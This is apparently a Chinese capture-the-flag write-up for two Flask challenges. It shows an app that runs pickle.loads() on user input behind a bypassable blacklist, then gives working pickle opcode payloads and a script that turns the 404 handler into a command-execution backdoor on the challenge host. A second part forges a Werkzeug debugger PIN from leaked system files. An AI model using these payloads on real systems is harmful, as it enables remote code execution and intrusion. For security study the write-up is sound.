1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask, request, render_template import pickle import base64 app = Flask(__name__) PICKLE_BLACKLIST = [ b'eval', b'os', b'x80', b'before', b'after', ] @app.route('/', methods=['GET', 'POST']) def index(): return render_template('index.html') @app.route('/src', methods=['GET', 'POST']) def src(): return open(__file__, encoding="utf-8").read() @app.route('/deser', methods=['GET', 'POST']) def deser(): a = request.form.get('a') if not a: return "fail" try: decoded_data = base64.b64decode(a) print(decoded_data) except: return "fail" for forbidden in PICKLE_BLACKLIST: if forbidden in decoded_data: return "waf" try: result = pickle.loads(decoded_data) return "done" except: return "fail" if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
出现了反序列化函数pickle.loads()
回头关注一下黑名单
1 2 3 eval,os是命令执行的黑名单 before和after是钩子函数过滤, pickle.dumps()第一个字符为x80,
eval可以用exec,钩子函数可以用error_handler,os用拼接,/x80可以自定义为协议版本0就不会出现/x80
构造恶意的操作码opcode【贴的都是官p的wp】
1 2 3 4 5 6 import pickle opcode = b'''cbuiltins eval (S'print(__import__("os").popen("whoami").read())' tR.''' pickle.loads(opcode)
1 2 cbuiltins 是 pickle 协议(版本 0) 里的一条 操作码 篡改 Flask 404 handler,实现 RCE
1 2 3 4 5 6 7 8 import base64 import pickle opcode = b'''cbuiltins exec (S'global exc_class;global code; exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a: __import__('o'+'s').popen(request.args.get('0')).read()' tR.''' pickle.loads(opcode)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import base64 import requests BASE_URL = "http://challenge.ilovectf.cn:30554" opcode = b'''cbuiltins exec (S'global exc_class;global code; exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a: __import__('o'+'s').popen(request.args.get('0')).read()' tR.''' payload = base64.b64encode(opcode).decode() def send_requests(): try: # 第一步:下发 payload deser_url = f"{BASE_URL}/deser" post_data = {"a": payload} print(f"[+] POST {deser_url} data={post_data}") r1 = requests.post(deser_url, data=post_data, timeout=10) print(f"[*] POST 状态码:{r1.status_code} 响应:{r1.text}\n") # 第二步:触发 404 并执行命令 get_url = f"{BASE_URL}/1" get_params = {"0": "cat /flag"} print(f"[+] GET {get_url} params={get_params}") r2 = requests.get(get_url, params=get_params, timeout=10) print(f"[*] GET 状态码:{r2.status_code} 响应:{r2.text}") except requests.RequestException as e: print(f"[!] 请求失败:{e}") if __name__ == "__main__": send_requests()
好像什么都能读
考点:flask计算pin码,新版本Werkzeug的tip 1 2 https://www.cnblogs.com/m1xian/p/18528813 https://sun1028.top/2025/05/09/flask%e8%ae%a1%e7%ae%97pin%e7%a0%81/
随便访问个文件,查看报错
查看app.py文件,发现开启了debug模式
思路就是要怎么使用debug模式,使用/console调试器,前面的报错显示是werkzeug 的 debug 模块,
werkzeug 的 debug 模块中提供的一个安全机制,用于保护调试器(/console)不被未授权访问【PIN 码】
1 https://www.cnblogs.com/m1xian/p/18528813
uuid:
machine_id:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import hashlib from itertools import chain # 可能是公开的信息部分 probably_public_bits = [ 'root', # /etc/passwd 'flask.app', # 默认值 'Flask', # 默认值 '/home/ctf/app/app.py' # moddir,报错得到 ] # 私有信息部分 private_bits = [ '42362379744178', # /sys/class/net/eth0/address 十进制 '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e' # machine-id部分 ] # 创建哈希对象 h = hashlib.sha1() # 迭代可能公开和私有的信息进行哈希计算 for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) # 加盐处理 h.update(b'cookiesalt') # 生成 cookie 名称 cookie_name = '__wzd' + h.hexdigest()[:20] print(cookie_name) # 生成 pin 码 num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] # 格式化 pin 码 rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
获取了pin码,下一步就是获取cookie,就直接贴官p了
微信公众平台